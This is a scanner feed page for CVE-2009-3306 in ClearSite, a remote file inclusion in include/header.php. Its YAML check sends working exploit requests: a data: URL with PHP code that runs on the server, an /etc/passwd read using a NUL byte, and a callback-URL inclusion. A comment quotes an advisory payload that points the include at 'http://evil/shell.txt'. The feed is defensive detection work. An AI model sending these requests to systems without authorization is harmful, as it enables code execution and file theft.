ClearSite — 1 vulnerability check

noctis ships 1 vulnerability check for ClearSite, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

ClearSite include/header.php cs_base_path Remote File Inclusion

CVECVE-2009-3306
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/clearsite/CVE-2009-3306.yaml

Tests ClearSite for the unauthenticated file inclusion in include/header.php, which passes the cs_base_path global (set from the request when register_globals is On) followed by "/include/user/auth.php" to include_once(). The feed requests include/header.php under the usual install folders with cs_base_path set to a data: URL carrying a small PHP snippet that prints the md5 of the product of two random numbers; that md5 in the reply confirms that the server ran code supplied in the request. It then sets cs_base_path to /etc/passwd followed by a NUL byte: the contents of /etc/passwd in the reply (and not in the same request naming an absent file) confirm a local file inclusion. When OOB is enabled, cs_base_path is also set to the scanner's callback URL, and a fetch of that URL confirms the remote inclusion even when PHP output and errors are hidden. Otherwise, a PHP include warning naming a random directory followed by "/include/user/auth.php" shows that the value reaches include_once() unchecked. The snippet only prints a hash and writes nothing on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/include/header.php?cs_base_path={{probe.data}}
  3. Parses / computes the next value with a Rhai script
  4. Checks rce_proof for ^[0-9a-f]{32}$ → finding QoD 97: ClearSite include/header.php cs_base_path Remote File Inclusion (CVE-2009-3306)
  5. HTTP(S) request GET {{dir}}/include/header.php?cs_base_path=%2Fetc%2Fpasswd%00
  6. HTTP(S) request GET {{dir}}/include/header.php?cs_base_path={{probe.absent}}
  7. Parses / computes the next value with a Rhai script
  8. Parses / computes the next value with a Rhai script
  9. Parses / computes the next value with a Rhai script
  10. HTTP(S) request GET {{dir}}/include/header.php?cs_base_path={{probe.marker}}
  11. Parses / computes the next value with a Rhai script
  12. Parses / computes the next value with a Rhai script
  13. Parses / computes the next value with a Rhai script
  14. HTTP(S) request GET {{dir}}/include/header.php?cs_base_path={{oob_url}}%3F
  15. … and 3 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/clearsite/CVE-2009-3306.yaml
# ClearSite include/header.php cs_base_path remote file inclusion — CVE-2009-3306
#
# ClearSite 4.50 (Xinn.org ClearSite/ALOE network management, SourceForge
# project "clearsite", last release, never fixed) relies on register_globals.
# include/header.php starts with:
#
#   <?php
#
#   include_once("$cs_base_path/include/user/auth.php");
#
# and can be requested directly, before any login: header.php?cs_base_path=<x>
# includes "<x>/include/user/auth.php" (advisories: exploit-db 9716, BID 40457,
# cs_base_path=http://evil/shell.txt?). The INSTALL file copies the tree to
# /var/www/html/clearsite/.
#
# Detection, per install folder (web root, /clearsite, /ClearSite):
#   1. In-band code execution (QoD 97): cs_base_path is a data: URL holding
#      <?php echo md5(A*B);exit;?> with random A and B. With allow_url_include
#      (PHP >= 5.2) the code runs and the reply carries md5 of the product, a
#      value the request never contains. A refused wrapper only quotes the
#      code text. No quotes in the code (magic_quotes_gpc-safe); writes nothing.
#   2. Local file inclusion (QoD 75): cs_base_path=/etc/passwd%00 — PHP
#      < 5.3.4 with magic_quotes_gpc Off cuts the path at the NUL byte and
#      prints /etc/passwd. The same request naming an absent file must not
#      print a passwd line (a page returning passwd text for anything is not
#      reported). This is the source check's own request, with an absolute
#      path instead of a ../ chain.
#   3. OOB (QoD 97, OOB enabled only): cs_base_path is the callback URL + "?"
#      so the appended path lands in the query string; the fetch is the remote
#      inclusion, also seen when PHP errors are hidden.
#   4. Fallback (QoD 75): cs_base_path is a random name; the reply must carry
#      PHP's include_once() / main() / "Failed opening … for inclusion"
#      warning naming "<random>/include/user/auth.php": the value went,
#      concatenated, into include_once().
#
# CVSS: NVD v2 7.5 (no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_clearsite_40457.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100756, GPL-2.0-only). Improvements: real code
# execution / OOB proof (the source check only reads /etc/passwd, which needs
# PHP < 5.3.4 with magic_quotes_gpc Off), an absent-file control on the file
# read, the suffix-anchored warning fallback, and several install folders
# without a prior product detection.
uid: bddb40fe-dcd6-4e1c-89ba-1ed08f65d968
name: "ClearSite include/header.php cs_base_path Remote File Inclusion (CVE-2009-3306)"
description: |
  Tests ClearSite for the unauthenticated file inclusion in
  include/header.php, which passes the cs_base_path global (set from the
  request when register_globals is On) followed by
  "/include/user/auth.php" to include_once(). The feed requests
  include/header.php under the usual install folders with cs_base_path set
  to a data: URL carrying a small PHP snippet that prints the md5 of the
  product of two random numbers; that md5 in the reply confirms that the
  server ran code supplied in the request. It then sets cs_base_path to
  /etc/passwd followed by a NUL byte: the contents of /etc/passwd in the
  reply (and not in the same request naming an absent file) confirm a local
  file inclusion. When OOB is enabled, cs_base_path is also set to the
  scanner's callback URL, and a fetch of that URL confirms the remote
  inclusion even when PHP output and errors are hidden. Otherwise, a PHP
  include warning naming a random directory followed by
  "/include/user/auth.php" shows that the value reaches include_once()
  unchecked. The snippet only prints a hash and writes nothing on the server.
cves: [CVE-2009-3306]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [clearsite, aloe, php, rfi, lfi, remote-file-inclusion, rce, register-globals, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-3306"
  - "https://www.exploit-db.com/exploits/9716"
  - "https://www.securityfocus.com/bid/40457"
  - "https://sourceforge.net/projects/clearsite/"
  # OpenVAS/Greenbone NASL 2010/gb_clearsite_40457.nasl (GPL-2.0-only)

steps:
  # ── Probe values, shared by every folder ─────────────────────────────────
  # md5(A*B) is printed only when the included snippet actually runs.
  - id: build-probe
    action: script
    code: |
      let a = rand_int(10000, 99999);
      let b = rand_int(10000, 99999);
      #{
        data: "data%3Atext%2Fplain%2C%3C%3Fphp%20echo%20md5(" + a + "*" + b + ")%3Bexit%3B%3F%3E",
        expect: md5("" + (a * b)),
        marker: "noctis" + rand_str(12),
        absent: "%2Fetc%2Fnoctis" + rand_str(10) + "%00"
      }
    store_as: probe

  - id: init-warn-found
    action: set_var
    var_name: warn_found
    var_value: false

  - id: init-warn-dir
    action: set_var
    var_name: warn_dir
    var_value: ""

  - id: init-warn-proof
    action: set_var
    var_name: warn_proof
    var_value: ""

  - id: init-lfi-found
    action: set_var
    var_name: lfi_found
    var_value: false

  - id: init-lfi-dir
    action: set_var
    var_name: lfi_dir
    var_value: ""

  - id: init-lfi-proof
    action: set_var
    var_name: lfi_proof
    var_value: ""

  - id: init-oob-sent
    action: set_var
    var_name: oob_sent
    var_value: false

  # ── Loop group: every following step up to the OOB wait runs once per
  # install folder. Each pass resets the values it reads.
  - id: init-rce-r
    action: set_var
    var_name: rce_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/clearsite", "/ClearSite"]

  - id: init-lfi-r
    action: set_var
    var_name: lfi_r
    var_value: {status: 0, body: ""}

  - id: init-ctl-r
    action: set_var
    var_name: ctl_r
    var_value: {status: 0, body: ""}

  - id: init-warn-r
    action: set_var
    var_name: warn_r
    var_value: {status: 0, body: ""}

  - id: init-rce-proof
    action: set_var
    var_name: rce_proof
    var_value: ""

  - id: init-lfi-hit
    action: set_var
    var_name: lfi_hit
    var_value: false

  - id: init-warn-hit
    action: set_var
    var_name: warn_hit
    var_value: false

  # ── 1. data: URL — in-band code execution ────────────────────────────────
  - id: rce-probe
    action: http_request
    method: GET
    path: "{{dir}}/include/header.php?cs_base_path={{probe.data}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: rce_r

  - id: rce-check
    action: script
    code: |
      if type_of(rce_r.body) == "string" && rce_r.body.contains(probe.expect) { probe.expect } else { "" }
    store_as: rce_proof

  - id: report-rce
    action: match
    source: rce_proof
    pattern: "^[0-9a-f]{32}$"
    condition: 'rce_proof != ""'
    on_match:
      finding:
        title: "ClearSite include/header.php cs_base_path Remote File Inclusion (CVE-2009-3306)"
        description: "An unauthenticated request to ClearSite's include/header.php with cs_base_path set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. header.php passes cs_base_path to include_once() without any check, so an attacker can run any PHP code on the server."
        remediation: "ClearSite is no longer maintained and was never fixed: remove it from the server. Until then, block direct requests to its include/ folder, disable register_globals and set allow_url_include and allow_url_fopen to Off."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{dir}}/include/header.php?cs_base_path=data:text/plain,<?php echo md5(A*B);exit;?> returned the expected md5 {{rce_proof}} (included PHP code executed)"
      stop: true

  # ── 2. /etc/passwd + NUL byte — local file inclusion ─────────────────────
  - id: lfi-probe
    action: http_request
    method: GET
    path: "{{dir}}/include/header.php?cs_base_path=%2Fetc%2Fpasswd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "lfi_found == false && rce_r.status != 404"
    store_as: lfi_r

  - id: lfi-control
    action: http_request
    method: GET
    path: "{{dir}}/include/header.php?cs_base_path={{probe.absent}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lfi_found == false && type_of(lfi_r.body) == "string" && lfi_r.body.contains(":0:0:")'
    store_as: ctl_r

  # Fail-closed: the control must have answered (status > 0) without a
  # passwd root line.
  - id: lfi-check
    action: script
    code: |
      let re = "^root:[^:]*:0:0:";
      let b = if type_of(lfi_r.body) == "string" { lfi_r.body } else { "" };
      let c = if type_of(ctl_r.body) == "string" { ctl_r.body } else { "" };
      egrep(re, b) != "" && ctl_r.status > 0 && egrep(re, c) == ""
    condition: "lfi_found == false"
    store_as: lfi_hit

  - id: lfi-dir
    action: script
    code: "dir"
    condition: "lfi_found == false && lfi_hit"
    store_as: lfi_dir

  - id: lfi-proof
    action: script
    code: |
      let l = eregmatch("root:[^:\n]*:0:0:[^\n<]*", lfi_r.body);
      if type_of(l) == "array" && l.len() > 0 { l[0] } else { "root:...:0:0:" }
    condition: "lfi_found == false && lfi_hit"
    store_as: lfi_proof

  - id: lfi-found
    action: set_var
    var_name: lfi_found
    var_value: true
    condition: "lfi_hit"

  # ── 4. Random folder name — include_once() warning naming it (fallback) ──
  - id: warn-probe
    action: http_request
    method: GET
    path: "{{dir}}/include/header.php?cs_base_path={{probe.marker}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    # Also when the code probe got no reply (status 0, e.g. a filter dropping
    # "<?php"): this plain request may still get through.
    condition: "warn_found == false && lfi_found == false && rce_r.status != 404"
    store_as: warn_r

  - id: warn-check
    action: script
    code: |
      let f = probe.marker + "/include/user/auth.php";
      let b = if type_of(warn_r.body) == "string" { warn_r.body } else { "" };
      let hit = b.contains("Failed opening '" + f + "' for inclusion");
      for w in ["include_once(", "include(", "main("] {
        if b.contains(w + f + ")") { hit = true; }
      }
      hit
    condition: "warn_found == false"
    store_as: warn_hit

  - id: warn-dir
    action: script
    code: "dir"
    condition: "warn_found == false && warn_hit"
    store_as: warn_dir

  - id: warn-proof
    action: script
    code: 'probe.marker + "/include/user/auth.php"'
    condition: "warn_found == false && warn_hit"
    store_as: warn_proof

  - id: warn-found
    action: set_var
    var_name: warn_found
    var_value: true
    condition: "warn_hit"

  # ── 3. Callback URL — remote inclusion seen out of band ──────────────────
  # Sent to every folder not answering 404 (a server hiding PHP errors gives
  # no in-band sign). "%3F" makes the appended path a query string.
  - id: oob-probe
    action: http_request
    method: GET
    path: "{{dir}}/include/header.php?cs_base_path={{oob_url}}%3F"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "oob_enabled && rce_r.status != 404"

  - id: oob-sent
    action: set_var
    var_name: oob_sent
    var_value: true
    condition: "oob_enabled && rce_r.status != 404"

  - id: oob-wait
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled && oob_sent"
    on_success:
      finding:
        title: "ClearSite include/header.php cs_base_path Remote File Inclusion (CVE-2009-3306)"
        description: "An unauthenticated request to ClearSite's include/header.php with cs_base_path set to the noctis callback URL made the server fetch that URL: header.php passes cs_base_path to include_once() without any check, so an attacker can make it fetch and run PHP code from a server they control."
        remediation: "ClearSite is no longer maintained and was never fixed: remove it from the server. Until then, block direct requests to its include/ folder, disable register_globals and set allow_url_include and allow_url_fopen to Off."
        confidence_delta: 0.65
        qod: 97
        evidence: "OOB HTTP callback received after GET <dir>/include/header.php?cs_base_path=<OOB URL>? (remote file inclusion)"
      stop: true

  # ── Local file inclusion finding ─────────────────────────────────────────
  - id: report-lfi
    action: match
    source: lfi_proof
    pattern: "^root:"
    condition: 'lfi_proof != ""'
    on_match:
      finding:
        title: "ClearSite include/header.php cs_base_path Local File Inclusion (CVE-2009-3306)"
        description: "An unauthenticated request to ClearSite's include/header.php with cs_base_path set to /etc/passwd followed by a NUL byte returned the contents of /etc/passwd, while the same request naming an absent file did not: header.php passes cs_base_path to include_once() without any check, so an attacker can read and run local files. Remote code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled)."
        remediation: "ClearSite is no longer maintained and was never fixed: remove it from the server. Until then, block direct requests to its include/ folder, disable register_globals, set allow_url_include to Off and upgrade PHP."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{lfi_dir}}/include/header.php?cs_base_path=/etc/passwd%00 returned the /etc/passwd line \"{{lfi_proof}}\" (absent-file control: no passwd line)"
      stop: true

  # ── Fallback finding: include_once() warning naming the random folder ────
  - id: report-warn
    action: match
    source: warn_proof
    pattern: "^noctis[0-9a-zA-Z]+/include/user/auth\\.php$"
    condition: 'warn_proof != ""'
    on_match:
      finding:
        title: "ClearSite include/header.php cs_base_path File Inclusion (CVE-2009-3306)"
        description: "An unauthenticated request to ClearSite's include/header.php with cs_base_path set to a random folder name returned a PHP include warning for that name followed by /include/user/auth.php: header.php passes cs_base_path to include_once() without any check. Code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled), but the include path is attacker-controlled."
        remediation: "ClearSite is no longer maintained and was never fixed: remove it from the server. Until then, block direct requests to its include/ folder, disable register_globals and set allow_url_include and allow_url_fopen to Off."
        confidence_delta: 0.50
        qod: 75
        evidence: "GET {{warn_dir}}/include/header.php?cs_base_path={{probe.marker}} returned a PHP include warning for {{warn_proof}}"
      stop: true

View these feeds on GitHub